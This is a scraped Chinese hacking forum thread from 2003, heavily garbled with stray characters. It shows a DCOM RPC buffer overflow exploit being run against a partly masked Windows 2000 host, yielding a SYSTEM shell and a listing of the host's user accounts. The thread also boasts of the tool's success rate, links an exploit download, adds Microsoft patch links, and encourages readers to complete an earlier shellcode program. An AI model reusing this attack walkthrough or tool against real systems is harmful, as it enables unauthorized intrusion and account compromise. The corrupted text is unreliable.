[% |$ U+ u( O* o. C' W& |! M2 q3 h, j/ I' |# A% u8 U 比如说目标69.X.173.63开了135端口.Target ID是4% J$ Q/ W' K( i; S3 J$ y C:\dcom>chdcom 4 69.X.173.63: _4 ?5 T3 V' V5 Y1 Z. \- @ ---------------------------------------------------------5 `' q4 c O2 P2 z - Remote DCOM RPC Buffer Overflow Exploit4 m3 x1 w J) a o; g& }3 b) z% U - Original code by FlashSky and Benjurry ( @ v& H/ x$ b3 M9 Z! H, Y' _- Rewritten by HDM last & I9 p6 L7 q8 w - last by nic ; j/ ^, e! z9 S p$ k6 b% Y- T -Compiled and recorrected by pingker! & Y% F/ c! z( m* }7 f4 n- Using return address of 0x77f92a9b& z4 G3 t( Q/ J- [" k0 [ - Dropping to System Shell.... O6 M: I7 F( K+ B- J/ | ; z- f0 G5 v' ]. D Microsoft Windows 2000 [Version 5.00.2195]; Z3 {0 T/ a% t- ^" s& U (C) Copyright 1985-2000 Microsoft Corp. - ^8 D% M. b4 L' v5 G" M7 A( I: h0 r2 w; |* Z$ ~ C:\WINNT\system32>, Y& g: p# e5 ?) [ 成功溢出. % ?. z+ F) ~) P7 \: k" q( h8 p$ j# yC:\WINNT\system32>net user . D9 y0 A7 U. h& T* znet user$ c' Q7 D4 v9 w9 s x& J: f7 b& N ' d* Z- g4 C# N; g- p User accounts for \8 G _" o; ^3 o- A+ G9 d6 T7 l ---------------------------------------------------------------------------- ; V. L5 F+ }. X, e7 X: U: V---: y7 d5 _! ~8 ? } Administrator ASPNET billbishopcom/ Q+ }& S+ n v8 i. R" v( }6 K divyanshu ebuyjunction edynamic1 ! { k( m9 a& S+ I7 Medynamic2 Guest infinityaspnet % q1 q# n) V- I0 winfinityinformations IUSR_DIALTONE IUSR_NS1; {9 ?/ Z8 F$ ~7 p) ?& n9 u IWAM_DIALTONE IWAM_NS1 SQLDebugger2 ]- e; E, R6 v; q* c TsInternetUser WO , Z$ i( l: b- K3 f' |' HThe command completed with one or more errors.2 a& }& F7 A5 t- `% b 这样一来你想干什么就是你的事了. A, k4 M* w* y% d 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 ) o' {+ E) O) z. t重启才行. CN可以是繁体或简体中文颁本.9 R6 T6 k- A% a# }& Q4 Y& n 再次警告:不要对付国内主机!!!!!后果自负!!!!; a Z* @& d& F8 O8 c0 O XDcom.rar远程溢出攻击程序下载:+ ~9 \4 a* f! k) P: J! d http://www.cnse8.com/opensoft.asp?soft_id=206&url=3
  • TA的每日心情
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    2015-1-16 14:36
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    [LV.2]偶尔看看I

    3
     楼主| 发表于 2003-8-9 22:52:00 | 只看该作者
    补丁:" K! J) ^, O# c( M" A/ U: V$ {+ q
    Windows NT 4.0 Server :
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    http://microsoft.com/downloads/d ... &displaylang=en" d4 q3 r* v, p
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    Windows NT 4.0 Terminal Server Edition:3 D+ w: C7 Q$ R% n) F
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    http://microsoft.com/downloads/d ... &displaylang=en
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    # T8 e" O2 Y6 S7 ]4 kWindows 2000:) s5 u9 |+ a, N* k# J9 j

    3 ]6 q1 o5 ?) V" f! Rhttp://microsoft.com/downloads/d ... &displaylang=en4 r7 f) _6 ^2 |  m- f& W
    (中文)http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117% e' t8 v/ h# E% M
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    Windows XP 32 bit Edition :" s( [# u3 V) [: G& N
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    http://microsoft.com/downloads/d ... &displaylang=en2 _) s* r. `! H; a, j4 w
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    Windows XP 64 bit Edition:4 c, J( }* E8 K! r  P+ t
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    http://microsoft.com/downloads/d ... &displaylang=en; i) B5 J9 \/ N9 o) I0 h- s3 Q

    ( z- }) ~: M1 iWindows Server 2003 32 bit Edition:; p9 L0 b2 _5 R) ?8 u

    . k3 U9 E9 ]- k1 z3 C& ?http://microsoft.com/downloads/d ... &displaylang=en, Y" B1 I) D$ B& P1 Y4 Q
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    Windows Server 2003 64 bit Edition:7 h' y3 o) U. G/ A) k2 C

    ) p2 p+ U6 _6 d8 s: i8 Qhttp://microsoft.com/downloads/d ... &displaylang=en
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    [此贴子已经被作者于2003-8-9 23:05:32编辑过]

    2 d- I( J' z: {2 p( \
  • TA的每日心情
    无聊
    2015-1-16 14:36
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    4
     楼主| 发表于 2003-8-10 21:25:00 | 只看该作者
    上述那段捆绑了SHELL CODE的C代码还不完整,没有处理返回的数据,因此VC下编译后的程序执行后没有反应,大家如果有兴趣研究的话,可以补充完整(俺工作太忙,没有太多的时间去补充,Hoho,不要成为只会使用工具的“伪黑客”,说白了,只会使用工具的人都是菜鸟,网络原理都弄不清楚,还搞什么攻击,KAO)。

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